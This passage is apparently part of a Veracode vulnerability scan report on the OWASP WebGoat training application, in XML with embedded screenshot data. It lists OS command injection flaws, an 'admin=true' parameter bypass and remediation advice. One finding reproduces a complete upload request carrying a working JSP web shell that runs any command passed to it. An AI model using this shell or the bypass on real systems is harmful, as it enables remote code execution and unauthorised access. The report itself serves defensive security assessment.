BIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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